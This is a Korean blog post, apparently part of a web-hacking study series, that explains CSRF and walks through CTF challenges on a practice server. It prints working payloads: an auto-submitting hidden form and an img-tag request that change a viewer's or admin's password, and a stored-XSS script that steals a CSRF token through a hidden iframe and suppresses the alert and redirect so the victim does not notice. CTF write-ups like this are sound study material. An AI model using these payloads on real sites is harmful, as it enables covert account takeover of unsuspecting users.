CSRF란?
CSRF란 서버로 요청을 하게 만드는것이다.
라고만 설명하면 무슨말인지 정확히 모를수가 있다.
예시를 하나 들어보려한다.

위 그림과 같은 비밀번호를 변경하는 페이지가 있다.
바꾸고자 하는 비밀번호를 입력후 Update 버튼을 누르게 되면 서버로 비밀번호 변경을 요청하게 된다.


해당 요청은 POST로 되어있지만, GET방식으로도 비밀번호 변경을 요청하는 같은 동작을 한다.
따라서 GET방식으로 바꾼 해당 URL을 복사하여 다른 피해자에게 보내게 되고,
그 피해자가 URL을 클릭한다면 해당 사용자의 비밀번호는 의도하지 않았지만 위 그림을 예시로 들어 '34'로 변경되게 된다.
이러한 의도하지 않은 요청을 서버로 보내는 공격을 CSRF라고 한다. 단순히 링크를 보내는 것이므로 하이퍼 링크를 통해서도 가능하다. 그동안 보안교육을 들었을땐 몰랐던 검증되지 않은 링크를 누르면 안된다고 그 이유가 여기에 있다고 생각한다.
'링크를 통한 공격이다'라고만 생각하여 CSRF는 GET방식에서만 사용이 가능한게 아니라 POST방식으로도 사용이 가능하다.
POST방식은 CSRF와 XSS취약점이 만나게 된다면 발생하게 된다.
위 그림의 요청을 그대로 POST방식으로 공격해보았다.


해당 페이지는 같은 웹 서버내의 Stroed XSS 취약점이 존재하는 페이지다.
실제로 <, ', ", > 과 같은 HTML 특수문자들이 HTML Entity로 치환되지 않음을 알 수있다.
해당 게시판에 아래와 같이 스크립트를 적어주었다.



//form을 만들어줌
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php" id="csrfForm">
//pw를 34로 설정
<input type="hidden" id="pw" name="pw" value="555">
</form>
<script>
//스크립트를 통해 form을 submit
document.getElementById("csrfForm").submit();
</script>
이제 해당 게시글을 읽는 사람의 패스워드는 전부다 '555'로 변경될 것이다.
위와 같이 XSS와 만나 POST방식의 요청도 CSRF공격이 가능함을 알 수 있다.
이렇게 사용자가 원치않는 요청을 서버로 보내는 공격을 CSRF라고 한다.
문제풀이
이번 문제에서는 ADMIN 계정을 CSRF 공격을 통해 내가원하는 비밀번호로 관리자의 비밀번호를 서버로 변경 요청을 보내는 문제인데 관리자가 눈치가 빠르다.
따라서 위 그림과 같이 게시판 글을 들어갔는데 '회원 정보 수정에 성공하셨습니다!' 와 같은 팝업창이 출력 되거나 그 후
비밀번호 변경창 이후의 페이지로 Redirect 되거나 하는 일이 생기면 관리자가 눈치를 채버리고 비밀번호를 다시 변경한다.
GET Admin 1, GET Admin 2, GET Admin 3 세문제가 있었지만
1번은 GET방식의 요청 즉 URL을 보내는 방식을 img태그를 사용하여 alert 구문이 출력안되게 하여 admin계정의 패스워드를 55로 변경하는데 성공하였다
<img src="http://ctf.segfaulthub.com:7575/csrf_1/mypage_update.php?pw=555">
'GET Admin1' 과 'GET Admin2'의 모든 내용이 'GET Admin 3'에 담겨있고 심화되어 있으므로 GET Admin3번에 대한 과정만을 자세히 설명해보겠다.
GET Admin3
해당문제는 마이 페이지에 접속시 마다 'csrf_token'을 발급받아 비밀번호 변경 요청을 보낼시 csrf_token을 같이 보내어
마이페이지에 접속하여 csrf_token을 획득하지 않는이상 비밀번호 변경 요청을 보낼수가 없다.


따라서 Client Script를 활용해 우선 csrf_token에 접근하는것부터 테스트 해보았다.

이후 해당 웹서버도 게시판에 Stored XSS 취약점이 존재하므로 게시판에 스크립트를 삽입.

//iframe으로 마이페이지 불러오기
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=jdleaf" id='tokenFrame'>
</iframe>
<script>
//모든 페이지가 로드된후에 function(){} 실행
window.addEventListener('DOMContentLoaded',function(){
//iframe 접근
var getFrame = document.getElementById('tokenFrame');
console.log(getFrame);
//iframe안의 contentDocument를 frameData에 담음
var frameData = getFrame.contentDocument;
console.log(frameData);
//frameData안의 'csrf_token'에 접근 후 getToken 변수에 담아줌, *csrftoken->getToken 이름 변경
var getToken=frameData.getElementsByName('csrf_token')[0].value;
console.log(csrftoken);
});
</script>

위와 같이 스크립트를 작성해주고 해당 게시글을 눌렀을때 csrf_token이 정상적으로 개발자 도구에 출력되는지 확인해보았다.
csrf_token까지 획득하는데 성공했으므로 해당 값을 담아 post요청을 보내주는 스크립트를 작성해주면 해당 게시글을 누르는 사용자가 있을때마다 해당 사용자 계정의 비밀번호는 설정한 비밀번호로 바뀌게 된다.

추가된 코드만 살펴보겠다.
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=jdleaf" id='tokenFrame'>
</iframe>
//form 태그 삽입, action을 비밀번호 변경 요청 페이지로 설정
<form method="post" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="myform">
//pw를 555로 설정
<input type="hidden" value="555" name="pw">
//csrf_token을 같이 보내기 위한 input tag
<input type="hidden" id="csrf_token" name="csrf_token">
</form>
<script>
window.addEventListener('DOMContentLoaded',function(){
var getFrame = document.getElementById('tokenFrame');
console.log(getFrame);
var frameData = getFrame.contentDocument;
console.log(frameData);
var getToken=frameData.getElementsByName('csrf_token')[0].value;
console.log(getToken);
//form 태그안의 csrf_token을 위의 iframe을 통해 얻어낸 getToken으로 설정
document.getElementById('csrf_token').value=getToken;
//form submit
document.getElementById('myform').submit();
});
</script>
이제 해당 페이지에 접속을 하게된다면

라는 팝업과 함께 mypage_update.php로 리다이렉트 되는걸 확인할 수 있다. **(파이어폭스에선 되지않고 Chrome에서는 됨)

이제 해당 페이지를 눌렀을때 서버로 비밀번호 변경 요청을 보내는것까지는 클리어가 되었다.
이제 관리자를 속일 차례다.
1차적으로 input type을 hidden으로 작성한것 외에도 추가 해주어야 할 것 들이 있다.
1. iframe을 지워주기 위해 iframe 속성으로 style="display:none;"을 추가
2. 페이지 리다이렉트 되지않게 form 태그의 target을 iframe로 설정 (해당 iframe도 display:none)
3. alert팝업 ('회원 정보 수정에 성공하셨습니다!') 뜨지않게 하기.
아래와 같이 글을 변경해주었다.


바뀐코드를 살펴보겠다
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php?user=jdleaf" id='tokenFrame' style="display:none;"> //display none 설정
</iframe>
//target Frame 생성,display none 및 sandbox="allow-scripts"를 활용해 팝업을 제외한 나머지 스크립트만 사용이 가능하도록 허용
<iframe name="targetFrame" style="display:none;" sandbox="allow-scripts">
</iframe>
//target을 'targetFrame'으로 설정하여 redirect 되지않게 설정
<form method="post" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" id="myform" target="targetFrame">
이제 해당페이지를 접속해도 그냥 일반적인 빌런이 적어놓은 글인줄 알것이다. 관리자에게 해당 페이지 링크를 보내어
flag를 획득할 수 있다.
추가로 iframe 속성중 sandbox는 아래를 참고하였다.

추가로 해당 문제는 마이페이지로 넘어갈때 GET방식으로 ID를 파라미터로 받아오는데 에서 비밀번호 변경 요청 시에 pw만이 아닌 id도 같이 요청받는 페이지였다면 이라는 생각이들어 스크립트로 GET파라미터를 가져오는 방법도 찾아보았다.

'웹 해킹' 카테고리의 다른 글
| 파일 업로드 취약점, 문제풀이 (1) | 2025.07.13 |
|---|---|
| CSRF 대응방법, SOP와 CORS (2) | 2025.07.09 |
| [XSS] 추가 정리 (0) | 2025.06.26 |
| [XSS] Client Script, 문제 풀이 (1) | 2025.06.26 |
| [XSS] 관리자의 계정을 탈취하자! (쿠키 탈취, 키로거) + DOM Based XSS (0) | 2025.06.16 |